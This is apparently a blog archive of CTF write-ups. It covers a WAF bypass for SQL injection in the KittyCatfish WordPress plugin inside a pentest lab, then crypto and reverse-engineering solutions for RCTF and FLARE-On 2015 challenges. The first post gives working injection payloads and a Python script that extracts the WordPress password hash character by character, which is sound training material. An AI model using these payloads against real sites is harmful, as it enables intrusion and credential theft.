Bypass WAF with MySQL REGEXP

In this post I want to share a trick that helps me to bypass a WAF (Web Application Firewall) when solving a challenge in a CTF-like penetration testing laboratory called PENTESTIT TEST LAB 11.

After registering on you will be allocated an OpenVPN account to connect to the laboratory environment.  The first target you may face is a WordPress website located at

Scanning this website with WPScan reveals some interesting attack vectors:

Note: the option “-random-agent” is required to simulate normal requests from a browser so that the firewall will not stop your scan.

From the scan results we saw a WordPress plugin named KittyCatfish and by searching it on Google we can find a known vulnerability exactly match the plugin version: (WordPress Plugin KittyCatfish 2.2 – SQL Injection)

The vulnerability is a SQL injection issue on the get parameter “kc_ad”, however, when using sqlmap to exploit this vulnerability I received many unexpected “403: Forbidden” errors. Apparently, something is stopping my attack and blocked my access, most possibly a Web Application Firewall (WAF).

Let’s see if we can identify what is being used here. There is tool named WafW00f can be used to fingerprinting WAF:

The tool says the web application is behind the Juniper WebApp Secure. No matter it is accurate or not, we can at least confirm that there is an additional security product protecting this website.

Looking around the website there seems no obvious way to break into the web application other than bypass the WAF restriction. So let’s play with the WAF.

The first thing we should understand is how the SQL injection vulnerability works. By comparing the following two requests we can known the differences when the SQL query evaluated to True and when it evaluated to False: or 1=1&ver=2.0 or 1=2&ver=2.0

And let’s try if we can manually get the password hash length: or (select  length(user_pass) from wp_users) > 0&ver=2.0

The query works! It means that the WAF is not simply blacklist or whitelist some dangers SQL keywords, instead, it might depends on some heuristic rules. By randomly input some SQL queries we can discover the following rules:

  1. “select” + “where” combination is not allowed, for example: select where &ver=2.0

This will give you a “403: Forbidden” error.

2. Dangerous function name + “(” is not allowed, for example: mid( &ver=2.0 substr( &ver=2.0

Banned functions discovered during the test:


These banned functions prevent us doing byte by byte guessing against the password hash, for example, if these functions are not being blocked, we may check the first byte of the  password hash through following query: or (select ord(mid(user_pass, 1, 1)) from wp_users) > 0&ver=2.0

Combining the above query with binary search we may reveals the whole password hash very quickly. However, the WAF is a really pain here.

So can we compare strings without using the banned functions? The answer is Yes and my approach is to make use of the MySQL REGEXP function.

REGEXP allows us to match the query results with a regular expression, for example:

When the pattern matches, it returns 1, otherwise it returns 0.

Knowing this we may issue the following query to see if the password hash matches a string begin with “a”: or (select (select user_pass from wp_users) REGEXP '^a.*')&ver=2.0

Unfortunately this query does not work and I guess the reason here is the single quote somehow broke the query or being sanitized. And so does double quote.

So is there a way to build string without single or double quotes?

From the previous test we know the UNHEX function is already banned, how about the CHAR function?

The CHAR function is not being banned solely, however, the combination of “select” and “char(” is recognized by the WAF. How frustrated!

But wait! Since it is a regular expression, can we use hex strings directly as a pattern?

Let’s try this:

>>> '[a-z]+'.encode('hex')

To my surprise, it works like a magic!

So the WAF bypass becomes easy, the query below will check if the password hash matches regular expression “.*”:

>>> '.*'.encode('hex')
'2e2a' or (select (select user_pass from wp_users) REGEXP 0x2e2a)&ver=2.0

And we can further optimize the process based on following facts:

  1. WordPress password hash begins with “$” and the third character is also “$”, so we may skip this two.
  2. The character set of WordPress password hash is [0-9a-zA-Z./].

One more thing we need to take care is that the REGEXP function in MySQL is case insensitive, so we should use BINARY mode to make it case sensitive, for example: or (select (select user_pass from wp_users) REGEXP BINARY 0x2e2a)&ver=2.0

Finally we can come up with a Python script to finish all the works for us:

import time
import string
import urllib2

def get_request(url):

    #print '[*] Request: ' + url
    data = None
    tries = 5
    while tries:
            request = urllib2.Request(url)
            request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36')
            response = urllib2.urlopen(request)
            data =
        except Exception as e:
            print '[!] Request Error: ' + str(e)
            tries -= 1
    return data

def run_exploit():

    url = ' [inject]&ver=2.0'

    passwd = '\$'
    for i in range(33):
        for ch in string.digits + string.ascii_letters + './$':
            if ch in ['.', '$']:
                ch = '\\' + ch
            sql = 'or (select (select user_pass from wp_users) REGEXP BINARY 0x5e' + passwd.encode('hex') + ch.encode('hex') + '2e2a)'
            request_url = url.replace('[inject]', sql)
            data = get_request(request_url)
            if data is not None and data.find('left: 50%;') != -1:
                passwd += ch
                print '\r\n[*] Password: ' + passwd.replace('\\', '') + ' (Length: ' + str(len(passwd.replace('\\', ''))) + ')'

if __name__ == '__main__':


The output of the script is as below:

(Skip some output…)

The final password hash is 34 bytes long and you may noticed some HTTP errors appeared in the screenshot, this is caused either by unstable VPN connections or by too many requests to the website which triggers another firewall rule.

After obtained the WordPress password hash the next step should be crack it, but I have no luck in brute-forcing this hash even with the rockyou.txt. /(ㄒoㄒ)/~~

Anyway, the WAF is really an interesting part of this challenge, although it is painful, we finally overcome it and learnt a lot.

Posted in CTF | Tagged , , , | Comments Off on Bypass WAF with MySQL REGEXP

RCTF Crypto 100 Decode The File

File: cip_d0283b2c5b4b87423e350f8640a0001e
MD5: d0283b2c5b4b87423e350f8640a0001e
SHA256: 1b13fdec1c3a0da404ad53d4f9130f84ba5f3d7708650f52fb328bb7abf65ba8

If you open the file with a text editor, you can see the following content:


Obviously, the data here is encoded by Base64 algorithm, let’s decode it:


The above picture shows the decoded content, by searching the keyword in Google we can find the source:

Compared the decoded file with the file downloaded from above link, we could not find any additional information being added to the decoded file.

So there must be some secrets being hidden into the Base64 strings, but what are they? Let’s re-encode the content with a standard Base64 algorithm to see if there are any differences:


What can you find here? Yes, there are many strings that only different in the last byte before the “=”.

If you are familiar with Base64, I think you can easily figure out the reason. As we know, for Base64 algorithm, the original data will be split into groups of 3 bytes, and if the last group only contains 1 or 2 bytes, it will add some padding to the end and use 1 or 2 “=” to indicate how many original bytes are here in the last group. Here is an example of 1 byte in the last group:


The 4 paddings here actually will be ignored by the decode routine, that is to say, we can put any bits here, what a good place to hide information!

Understand this, there will be no difficulties to solve this challenge, the following script is what I use to extract the hidden information:

import base64
import string

def tobin(data):
    b64table = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
    index = b64table.find(data)
    return format(index, '06b')

def toStr(bin):
    binlen = len(bin)
    out = ''
    for i in range(0, binlen, 8):
        out += chr(int(bin[i:i+8], 2))
    return out

out = ''
for line in open('cip_d0283b2c5b4b87423e350f8640a0001e', 'rb'):
    line = line.strip()
    if line.strip()[-2:] == '==':
        binstr = tobin(line[-3:-2])
        out += binstr[-4:]
        print binstr[-4:]
    elif line.strip()[-1:] == '=':
        binstr = tobin(line[-2:-1])
        out += binstr[-2:]
        print binstr[-2:]

print out
print toStr(out)

Flag: ROIS{base_GA_caN_b3_d1ffeR3nT}

Posted in CTF | Tagged , , | Comments Off on RCTF Crypto 100 Decode The File

RCTF Reverse 300 Creack Me

Name: crackMe_aafb0addeb58dece1fcf631a183c2b20
SHA256: 3091F5DF9D1D4E470B36DD8AFBBFEB7F03A5398B3F8846B892425F4BCD890E20

The file of this challenge is a Windows Portable Executable packed with UPX and it can be unpacked with the UPX utility:


The unpacked file introduced some simple anti mechanisms, the first one is located at address 0x0040146E:


The code above will skip the next 2 opcode after this function call. If you did not notice this, you may get confused about the disassembly code.

And the second one is location at address 0x00401468:


This function is used to call the API that passed as an argument. Using this approach to call an API will make some disassembler like IDA unable to recognize the parameters of that API automatically. However, as you can see in above screenshot, it is still very easy to figure out which API will be called through the disassembly code.

It is not difficult to under stand the functionality of this executable, in short, it will decyprt another Portable Executable file from its append data and then execute it in the memory. The decryption algorithm is to XOR each byte with 0x07.

The decrypted PE file also packed with UPX, and it contains the core verification logic of this challenge.

Before we step into the details of the verification logic, there is another thing need to be mentioned: the decrypted file introduced another anti mechanism which will replace the code block that already been executed and no longer needed with random generated data. This is usually seen in malware to hide itself from memory scan.

The decrypted file will read the input data, and then convert it to a hex-like string (sub_401020), the convert rule is:

For each byte of the input data:

(1) If the highest 4 bit is less than or equal to 0x09, add 0x30 to it, otherwise, add it with 0x57. Store the result as a new byte.

(2) If the lowest 4 bit is less than or equal to 0x09, add 0x30 to it, otherwise, add it with 0x57. Store the result as a new byte.

Next, it will encode the hex-like string (sub_401080) with following rule:

(1) Scan the hex-like string for duplicated sub-strings compared with the beginning of the hex-like string.

(2) If no duplicated sub-string is found, each byte will be XORed with 0x18.

(3) If a duplicated sub-string is found, the first byte of the duplicated sub-string will be XORed with 0x19 (0x18+1) and the second byte of the duplicated sub-string will be XORed with 0x1A (0x18+2), and so no. Other bytes in the string will be XORed with 0x18.

For example, for string “ABCDEFABCGHI”, there is a duplicated sub-string “ABC”, so the second “A” in this string will XOR with 0x19, the second “B” in this string will XOR with 0x1A and the second “C” will XOR with 0x1B. And other bytes in this string will XOR with 0x18.

After encode the hex-like string, the encode result will be converted once again to a new hex-like string, and then it will generate a table (see the code from address 0x00401391 to 0x00401435) and change the byte order of the string (sub_4011E0) based on the table generated before.

Finally, it will compare the result from above steps with following string:


Now the logic become clear:
FinalDate = Reorder(ToHex(Encode(ToHex(OriginalData))))

In order to get the original input, the first thing we should do is to reverse the order of the final data.

So how? Let’s take a look at the function which reorder the data:


By entering some test data into this program we can easily found that if the input data has a same length, the Table1 in above screenshot will keep the same. And the Table2 here contains the second hex-like string described before. The gIndex here is an index value begin from 0.

Since the ToHex() function will double the length of the string and there are two ToHex() function calls, so the length of the original input should be len(FinalDate) / 4 = 27.

Now that we have the length of the input data, we can let the program itself to calculate the Table1 for us, the following immunity debugger script can help with this work:

import immlib
import getopt
import immutils
from immutils import *
imm = immlib.Debugger()

def main(args):
    while True:
        regs = imm.getRegs()
        esi = regs['ESI']
        imm.log(" ESI : %08x" % (esi))
        open('d:\work\esi.txt', 'ab').write(hex(esi)+ '\r\n')
        if regs['EIP'] == 0x00401448:

After we get the Table1 we can reverse the final data, and then UnHex and Decode it to get the original input. All the works are can be done by the following Python script:

def convert(data):

    out = ''
    datalen = len(data)
    for i in range(0, datalen, 2):
        tmp = 0
        if ord(data[i]) <= 0x39:
            tmp = ord(data[i]) - 0x30
            tmp = ord(data[i]) - 0x57
        tmp = tmp <<4
        if ord(data[i+1]) <= 0x39:
            tmp |= ord(data[i+1]) - 0x30
            tmp |= ord(data[i+1]) - 0x57
        out += chr(tmp & 0xff)

    return out

enc = '22722272222227272222727a2222222222272222272222222222cfdceeeebb9fdbcdbbedfdede7ce9bebe0bb1e2ceab9e2bbbdecf9d8'
table = [0x4f8, 0x258, 0x108, 0x318, 0x2b8, 0x3d8, 0x378, 0x498, 0x438, 0x60, 0x348, 0x168, 0x4c8, 0x408,
         0x138, 0x1c8, 0x198, 0x228, 0x1f8, 0x2e8, 0x288, 0x468, 0x3a8, 0xc, 0x420, 0x180, 0x4e0, 0x90,
         0x240, 0x1e0, 0x300, 0x2a0, 0x3c0, 0x360, 0x480, 0x78, 0x270, 0xc0, 0x3f0, 0x330, 0x4b0, 0xa8,
         0x450, 0xf0, 0xd8, 0x150, 0x120, 0x210, 0x1b0, 0x390, 0x2d0, 0x0, 0x48c, 0x1ec, 0x9c, 0x2ac,
         0x24c, 0x36c, 0x30c, 0x42c, 0x3cc, 0x4ec, 0x24, 0x2dc, 0xfc, 0x45c, 0x39c, 0xcc, 0x4bc, 0x15c,
         0x12c, 0x1bc, 0x18c, 0x27c, 0x21c, 0x3fc, 0x33c, 0x18, 0x3b4, 0x114, 0x474, 0x3c, 0x1d4, 0x174,
         0x294, 0x234, 0x354, 0x2f4, 0x4d4, 0x414, 0x30, 0x204, 0x54, 0x384, 0x2c4, 0x504, 0x444, 0x48,
         0x3e4, 0x84, 0x6c, 0xe4, 0xb4, 0x1a4, 0x144, 0x324, 0x264, 0x4a4]

list1 = list(table)
i = 0
for index in table:
    list1[index/12] = enc[i]
    i += 1
print ''.join(list1)

out1 = convert(''.join(list1))
print out1

out2 = ''
out3 = ''
out4 = ''
out5 = ''
i = 0
for ch in out1:
    out2 += chr(ord(ch) ^ 0x18)
    if i % 2 == 0:
        out3 += chr(ord(ch) ^ 0x19)
        out3 += chr(ord(ch) ^ 0x18)
    if i % 2 == 0:
        out4 += chr(ord(ch) ^ 0x18)
        out4 += chr(ord(ch) ^ 0x19)

    if i % 2 == 0:
        out5 += chr(ord(ch) ^ 0x19)
        out5 += chr(ord(ch) ^ 0x1A)
    i += 1
print out2
print out2.encode('hex')

print convert(out2)
print convert(out3)
print convert(out4)
print convert(out5)

Please note that since we could not know if there is any duplicated sub-string after the first ToHex() function, so we may need to do some “brute-force” here: we can assume there are one byte long duplicated sub-strings and two bytes long duplicated sub-strings, and we can calculate the Decode result for the two situations respectively.

From the output of above script we can find the correct combination of the flag:


Flag: RCTF{*&*_U_g3t_the_CrackM3_f1@9!}

Posted in CTF | Tagged , , | Comments Off on RCTF Reverse 300 Creack Me

FLARE On Challenge (2015) #11

This is the final challenge and it is said to be more difficult than the previous challenges. The file of this challenge named CryptoGraph, which is a 32 bit Windows Portable Executable file.

Let’s analyze it in IDA at first. The flow of the main() function looks like below:

The main() function of this program does some simple works: it creates a file named secret.jpg, then checks if the number of the arguments is more than 1, if so it will convert the second argument to an DWORD and decrypt some data into secret.jpg using this DWORD as a “key”. Since the second argument is the only input used to decrypt the jpg file, I call it Masterkey. And if the number of the arguments equals to or less than 1, it will print out the following message:
The number of parameters passed in is incorrect.

The function decrypts the jpg file is located at address 0x00401910 (shown as DecryptMain() in above picture), this function takes two parameters passed through register edx and ecx, they are the Masterkey and the file handle of the secret.jpg respectively.

At the beginning of function DecryptMain(), it loads and verifies the size of two resources whose id is 120 and 121. The picture below shows a piece of code that loads the resource 120 and verifies if it size is larger than 0x30 bytes:

After loads the two resources, it will initialize a class which I named it as CryptoInfo. The structure of this class is shown as below:

The virtual table (vtblCryptoInfo) of this class contains two functions GenRandom() and IsInit():

The hProv of this class is a handle of the Cryptographic Service Provider (CSP) obtained by calling API CryptAcquireContextW(), and the KeyFile and TotalRound will be described later in this article.

Next, a function located at address 0x00401A81 (the CalcDecryptKey() function in the picture below) will be used to calculate the KeyBlocks (will describe later), and function located at address 0x00401A99 (the DecryptImage() function in the picture below) will be used to decrypt the final data and save it to the jpg file:

The CalcDecryptKey() function takes three parameters: the MasterKey, the SecondaryKey and the resource 121. The SecondaryKey is calculated from resource 120 by XORing each 16 byte blocks and it will be used to decrypt the first KeyBlock (will describe later) in resource 121. The resource 121 contains a list of keys which will be used to decrypt the final data, so I call it KeyFile. The KeyFile has the following structure:

The Magic field in the KeyFile structure is an ASCII string “FLARE-ON”. The Round, RC5Round and IV are used by the decryption algorithms of this program, and each of them will be described in details later. The MD5 is the hash checksum of the KeyBlocks, and the KeyBlocks is an array of a structure named KeyBlock which contains the key to decrypt the final data.

In the CalcDecryptKey() function, the KeyFile is verified by following steps at first:
1. If there is a magic string “FLARE-ON” at the beginning of the KeyFile;
2. If the MD5 hash of the KeyBlocks (from offset 0x30 to offset 0x630) matches the MD5 hash (at offset 0x20) of the KeyFile.

After verifying the KeyFile, a RC5Key is calculated based on the SecondaryKey and the 16 bytes initiate vector (IV) located at offset 0x10 of the KeyFile. And the MasterKey will serve as the first byte of the IV, which indicates that the MasterKey must be a value between 0 and 255.

This program uses an algorithm which I am not familiar with to calculate the RC5key, I have translated the algorithm into following Python code:

def generate_key(key, iv):
    buffer1 = key + '\x00' * 48
    buffer2 = key + '\x00' * 48

    buffer1 = str(bytearray((ord(ch) ^ 0x36) for ch in buffer1))
    buffer2 = str(bytearray((ord(ch) ^ 0x5c) for ch in buffer2))
    iv_md5 = calc_md5_ex(buffer1, iv)

    buffer2 += iv_md5
    key = calc_md5(buffer2)

    return key

def generate_rc5key(secondarykey, iv, round):
    rc5key = ''

    secondarykey_md5 = calc_md5(secondarykey)
    rc5key = generate_key(secondarykey_md5, iv + '\x00\x00\x00\x01')

    for i in range(0, round - 1):
        tmpkey = generate_key(secondarykey_md5, rc5key)
        rc5key = str(bytearray((ord(tmpkey[i]) ^ ord(rc5key[i])) for i in range(0, 16)))
    return rc5key

The function generate_rc5key() in the script shows how this program generate the RC5Key, the parameter secondarykey has been described before — it is calculated from resource 120 by XORing each 16 byte blocks; the iv comes from offset 0x10 of the KeyFile structure and the round comes from offset 0x08 of the KeyFile structure.

Next, the RC5Key is used to decrypt the first KeyBlock in the KeyFile (at offset 0x30) with a slightly modified version of RC5 algorithm, this algorithm will XOR the first block (note: one block is 8 bytes) of the original RC5 decrypted data with an index value and XOR the followed blocks of the RC5 decrypted result with the encrypted data. The following Python code imitates how this algorithm works:

from Crypto.Cipher import RC5

def rc5_decrypt(key, data, round, index):
    rc5cipher =, mode = RC5.MODE_ECB, rounds = round)
    rc5_data = rc5cipher.decrypt(data)

    block1 = struct.pack('<I', index) * 2
    block2 = rc5_data[0x00:0x08]
    dec_data = str(bytearray((ord(block1[x]) ^ ord(block2[x])) for x in range(0, 0x08)))

    block1 = data[0x00:0x28]
    block2 = rc5_data[0x08:0x30]
    dec_data += str(bytearray((ord(block1[x]) ^ ord(block2[x])) for x in range(0, 0x28)))

    return dec_data

The decrypted KeyBlock has the following structure:

The Index is a numeric value count from 0. The Round and IV are used to decrypt the next KeyBlock. The Key will be used to decrypt the final data. And the MD5 is the hash checksum of the first 0x20 bytes of the KeyBlock structure.

After decrypted the first KeyBlock, we can continue to decrypt the second KeyBlock by using the MD5 hash of the Key in the first KeyBlock as NewSecondaryKey and the IV in the first KeyBlock as NewIV. The NewRound is calculated based on the old round value and the Round field in the first KeyBlock. Then sample algorithm (see the generate_rc5key() function described before) is used to calculate a NewRC5Key and the second KeyBlock is decrypted with this NewRC5Key.

Repeat the above steps we can theoretically decrypt all the 32 KeyBlocks and once we have all the KeyBlocks, we may decrypt the jpg file.

So our task become clearly: we need to find out the correct MasterKey so that we can decrypt all the KeyBlocks. Till now we have the following information:
1. The Masterkey is an integer between 0 and 255 and it serves as the first byte of the IV which is used to calculate the RC5Key.
2. The RC5Key is used to decrypt the first KeyBlock.
3. The first KeyBlock has an Index and a MD5 checksum which can be used to verify itself.

With above knowledge, we can do a brute force attack on the Masterkey by checking if the Index field of the first decrypted KeyBlock equals to 0.

This could be done with many approaches. One easiest way is to modify the first instruction of the code that only can be executed when the Index of the first KeyBlock is correct to a software breakpoint (int 3, or 0xCC), and call the modified program with argument from 0 to 255 to see which one will crash the program.

But here I use a WinDbg script to do the same thing, the script is as below:

import pykd
import time

g_index = 0

def bp_callback(event):
    global g_index
    addr = pykd.reg("esi")
    out = ''
    for b in pykd.loadBytes(addr, 16):
        out += chr(b)
    open('D:\\Work\\out.txt', 'ab').write(str(g_index) + ': ' + out.encode('hex')+'\r\n')
    print out.encode('hex')
    return True

for i in range(200, 256):
    g_index = i
    pykd.startProcess('D:\\Work\\CryptoGraph.exe ' + str(i))
    pykd.setBp(0x004016D4, bp_callback)
    pykd.dbgCommand('bc *')

The script does the following tasks:
1. Run process CryptoGraph.exe with different augments (from 0 to 255).
2. Set a breakpoint at address 0x004016D4, right after the program decrypted the first KeyBlock. If the program stopped at this address, the register esi will point to the decrypted data.
3. Dump the decrypted data into a file.

Executed this script in WinDbg and from the output file we can easily find the correct MasterKey:

Now that we have the MasterKey, we can decrypt all the KeyBlocks and then decrypt the final data to get the email address.

Unfortunately, things not that easy. As we have described before, the NewRound value used the calculated the next RC5Key is based on the old round value and the Round filed in the previous KeyBlock, however, the increase of this value may lead to several hours or even several days to decrypt all the KeyBlocks, because it determines how many loops we should go through.

With the belief that the challenge should not aim at wasting our time, I moved on to the DecryptImage() function located at 0x00401A99.

The functionality of DecryptImage() is straightforward: it uses the Key in one of the KeyBlocks to decrypted the FinalRC5Key from resource 122, then it uses the FinalRC5Key to decrypt the resource 124 and save the decrypted data to the secret.jpg. All the decryption algorithms being used are the modified version of the RC5 algorithm we have described before.

Since this function will only use the Key in one of the KeyBlocks, so the question becomes to: which KeyBlock will be chosen? The answer is in function 0x00401B60 which I renamed it to SelectKey(). This function can be described by the following pseudo code:

Regard SecondaryKey as an Integer Array

a1 = SecondaryKey[1] | 0x10
a2 = (Mismatch > 0)
c1 = (CryptoInfo.TotalRound >> CountBitsSet(SecondaryKey[2] ^ 0x31000C01))
c2 = (CryptoInfo.TotalRound >> CountBitsSet(SecondaryKey[3]))

if (c1 == 0) {
    return (a2 + (a1 >> 8)) & 0x0F }
else if (c2 != 0) {
    return (a2 + ((a1 / c2) >> 16)) & 0x0F }
else {
    try {
        raise a1 
    catch (e) {
        a3 = CountBitsSet(e)
        a3 = a3 >> 1 
    return a3

The SecondaryKey we have described before, it is calculated from resource 120, so we can easily know that the SecondaryKey[1] = 0x766147E9, the SecondaryKey[2] = 0x86EBD2E6 and the SecondaryKey[3] = 0x7EDFEBFB. The Mismatch is a counter indicates how many KeyBlocks cannot bypass the MD5 verification, so it should be 0 if all the KeyBlocks are correctly decrypted. The function CountBitsSet() counts the number of bits set to 1 of a DWORD. As for the CryptoInfo.TotalRound, it is calculated based on the following logic:

CryptoInfo.TotalRound = 0x8000

For (KeyBlockIndex = 1; KeyBlockIndex < 0x20; KeyBlockIndex++) {
    CryptoInfo.TotalRound = CryptoInfo.TotalRound * (KeyBlockIndex >> 4) + (0x10000 << KeyBlockIndex-1)

Now let’s move back to the SelectKey() function. You may have noticed that there is a special if…else branch which uses a C++ Exception to calculate the return value, and to let the code run into this branch it need match the following conditions:

(CryptoInfo.TotalRound >> 0x18) != 0 and (CryptoInfo.TotalRound >> 0x1A) == 0

So that the CryptoInfo.TotalRound should have a value between 0x1000000 and 0x4000000, and according to the previous expression used to calculate the CryptoInfo.TotalRound we can know that to make above conditions return true the KeyBlockIndex should either be 0x09 or 0x0A, which means that we may only need to calculate the first 10 or 11 KeyBlocks to decrypt the jpg file! This can save a lot of time.

Firstly let’s try to only decrypt the first 10 KeyBlocks, this could be done by modifying the total number of the KeyBlocks need to be decrypted from 0x20 to 0x0A, this value is located at address 0x004018C0:

Then we can pass the Masterkey 205 to this program and let it run. After a while, I am lucky to get the jpg file which contains the email address:

Posted in CTF | Tagged , , , | Comments Off on FLARE On Challenge (2015) #11

FLARE On Challenge (2015) #10

This challenge contains a large Windows Portable Executable File which is nearly 3.4 MB. It is usually difficult to reverse engineering such a large file. However, if you have noticed the special resource embedded into this file, things will become easier:

This file is actually a compiled AutoIT program and we can extract the embedded AutoIT script with many tools like exe2aut. With the help of exe2aut I have extracted one AutoIT script and three executable files:

File Name: ioctl.exe
Size: 46,080 bytes
MD5: 205af3831459df9b7fb8d7f66e60884e
SHA1: dfb2dc09eb381f33c456bae0d26cf28d9fc332e0
SHA256: 44473274ab947e3921755ff90411c5c6c70c186f6b9d479f1587bea0fc122940

File Name: challenge-xp.sys
Size: 2,688,640 bytes
MD5: 399a3eeb0a8a2748ec760f8f666a87d0
SHA1: 393f2aefa862701642f566cdaee01a278e2378c0
SHA256: 57b1d7358d6af4e9d683cf004e1bd59ddac6047e3f5f787c57fea8f60eb0a92b

File Name: challenge-7.sys
Size: 2,689,536 bytes
MD5: dade1de693143d9ef28fe7ebe7a7fb22
SHA1: 745ba710cf5d4a8cbb906f84e6096ca1b9a1bae3
SHA256: 59dbf937021c7856bad4155440dbd2e0c5422f06589bb11e5ac0b3300aad629c

Apparently, there are two driver files, one is for Windows XP and the other one is for Windows 7. And the ioctl.exe, from the file name, we can guess that it is used to communicate with the driver.

Let’s see what will the AutoIT script do at first. The AutoIT script contains a series of functions used to manage the service like _startservice(), _stopservice(), _serviceexists(), _servicerunning(), _createservice(), _deleteservice(), and the core logic is shown as below:

Firstly, it will check if the system architecture is x86, if so it will drop a driver file to the system directory based on the OS version, after this it will also drop the ioctl.exe to the system directory. Next, it executes the function dothis() with two arguments, one is a hex string and the other one is an ASCII string “flarebearstare”. If the return value of that function is true, it will execute the dothis() function again with a different hex string. If the second dothis() returns true, it will then execute the third dothis() function. So what does the dothis() function do?

The dothis() function actually receives two arguments: data and key. It will decrypt the data with the key and execute the decrypted data. In the decrypt() function, it will execute an opcode by calling API CallWindowProc() and pass the data and key as arguments.

As we already know that the API CallWindowProc() will be called, we can just set a breakpoint on this API in a debugger and follow the API to execute the opcode, and then get the decryption result. However, if you run this program in a debugger, you may probably receiver this error:

What is going on here? Let’s search for the error string in IDA, and we can find the following piece of code:

If we follow the code reference here we can find the root cause:

There is an anti-debug check! Ok, to bypass this check we can just patch the “jnz” at 0x00403D5F to “jz”, and then continue the expectation. And finally, our breakpoint get hit in the debugger:

The first arguments pass to the CallWindowProc() contains the address of the opcode, now we can put a breakpoint on the first instruction of the opcode and continue the execution. When the breakpoint on the opcode triggered, we can then execute to the “retn” instruction and here the decryption result can be found from the stack:

Repeat the above process for the other two dothis() function, we can have all the decryption code:

_CreateService("", "challenge", "challenge", @SystemDir & "\challenge.sys", "","", $SERVICE_KERNEL_DRIVER, $SERVICE_DEMAND_START)
_StartService("", "challenge")
ShellExecute(@SystemDir & "\ioctl.exe", "22E0DC")

From those codes we know that the driver dropped by this program is registered as a service named “challenge” and then an IoControlCode 0x22E0DC is send to this driver through ioctl.exe.

Now it is the time to analyze the driver. As only one of the driver will be chosen (based on the OS version), so the two drivers must have same functionality and we only need look at one of them. I chose the one for Windows 7. The Entry Pointer of this driver seems normal, it will create a device named “challenge” and then register the unload routine and the dispatch routines. All the dispatch routines are pointing to a same function located at address 0x0029CD20, and if you look at the Graph Overview of this function, you may see something like this:

Terrible, right? In the beginning of this function, it will retrieve the IoControlCode sent to this driver and sub it with 0x22E004, then it will use the result of the subtraction as an index to retrieve another index from a table located at address 0x0029D614, then the second index will be used to retrieve the jump destination address from a jump table located at address 0x0029D480:

So what is the first IoControlCode passed to this driver? Yes, it’s 0x22E0DC. So we can calculate the first index: 0x22E0DC – 0x22E004 = 0xD8, and the we can have the second index which is 0x36, and with the second index, we can finally found the jump address which should be 0x0029D180:

Here it only calls another function located at 0x0029C1A0, and let’s move to this function. This function also looks terrible:

But do not be panic, let’s look at this function in details:

The functionality of this function is actually easy to understand, it will test each bit of a input sequence to see if that bit is 0 or 1, and then jump to different branch based on the test result. Basically, if all the bit test except the last one do not jump to the exit branch, we will get what we want. The following IDA Python script can be used to calculate the correct input sequence:

from idaapi import *

def bit_reverse(c):
    out = 0
    for i in range(0, 8):
        out <<= 1
        c1 = c & 0x01
        out |= c1
        c >>= 1
    return out

begin_addr = 0x0029C1C7
out = ''
addr = begin_addr

while Byte(addr) == 0x0f:
    c = 0
    for i in range(0, 8):
        c <<= 1
        if Byte(addr) == 0x0f:
            for j in range(0, 2):
                addr = NextHead(addr)
            if GetMnem(addr) == 'jz':
                c |= 0
            elif GetMnem(addr) == 'jnz':
                c |= 1
                print hex(addr)
                raise Exception('unknown instruction')
            for j in range(0, 3):
                addr = NextHead(addr)
            print hex(addr)
            raise Exception('unknown instruction')
    out += chr(bit_reverse(c))

print out

And the output is:

Ok, it asks us to try another IoControlCode 0x22E068. We can use the same way described before to calculate the jump destination and the function we should care about this time is located at address 0x0002D2E0, another terrible function:

There are a lot of branches in this function which makes it difficult for us to understand the logic. But one good thing is that no matter what code path the function will walk through, a call at the end of this function will be executed:

This call received three arguments, and a quick analysis on it suggests that it is possibly uses the Tiny Encryption Algorithm (TEA) to decrypt some data. So how do we know what data will be decrypted? or what is the decryption result? I believe the easiest way to answer this is through debugging.

Let’s setup the kernel debugging environment at first since we are going to debug a driver. Here I use two machines, one is my physical machine (running Windows 8) and the other one is a Virtual Machine with Windows 7 installed. There is a wonderful tool named VirtualKD can make things easier. And there are a lot of tutorials online to teach you how to setup a kernel debugging environment, so I will not talk about it in details here, you may refer to the following article if you have not try this:

Now let’s set a breakpoint on the call at 0x000ADC31 and a breakpoint at the beginning of the dispatch routine at 0x0029CD20, then run the executable file of this challenge in the VM. If nothing goes wrong, we will stop at the dispatch routine like below:

Then we can just modify the IoControlCode to 0x22E068 (or use the ioctl.exe to issue this IoControlCode) and continue, and we will stop at the call we are interested:

However, after executes this function, we get nothing we want, the decrypted data seems meaningless. So what is the problem here? As this call aims at decrypting some data, let’s see what data is being decrypted. The data to be decrypted is passed as the first argument which should be a byte array, and if you look at this argument during debugging, you may be surprised that the array is all zeros when the decryption function is called, that is to say, the data to be decrypted is not initialized! Why?

If you look at the data reference of each byte in that array, you will find that each byte will be assigned a value by a separate function. However, those functions may not get executed when we reach the decryption function and that’s may be the reason why we have an empty array. Knowing this, we can try to initialize the array manually before we execute the decryption function. This can be done by the following IDA Python script:

from idaapi import *

begin_addr = 0xA22A0210
out = ''
addr = begin_addr

for i in range(0, 0x28):

    found = False
    for ref in DataRefsTo(addr):
        if GetMnem(ref) == 'mov':
            prev_addr = ref
            for i in range(0, 2):
                prev_addr = PrevHead(prev_addr)
            if GetMnem(prev_addr) == 'mov':
                print hex(addr), GetOpnd(prev_addr, 1)
                PatchByte(addr, GetOperandValue(prev_addr, 1))
                print hex(addr)
                raise Exception('unknown instruction')
            found = True
            print hex(addr)
            raise Exception('unknown instruction')

    if found == False:
        print hex(addr)

    addr += 1

And this time the decyption function gives us what we want:

Posted in CTF | Tagged , , , | Comments Off on FLARE On Challenge (2015) #10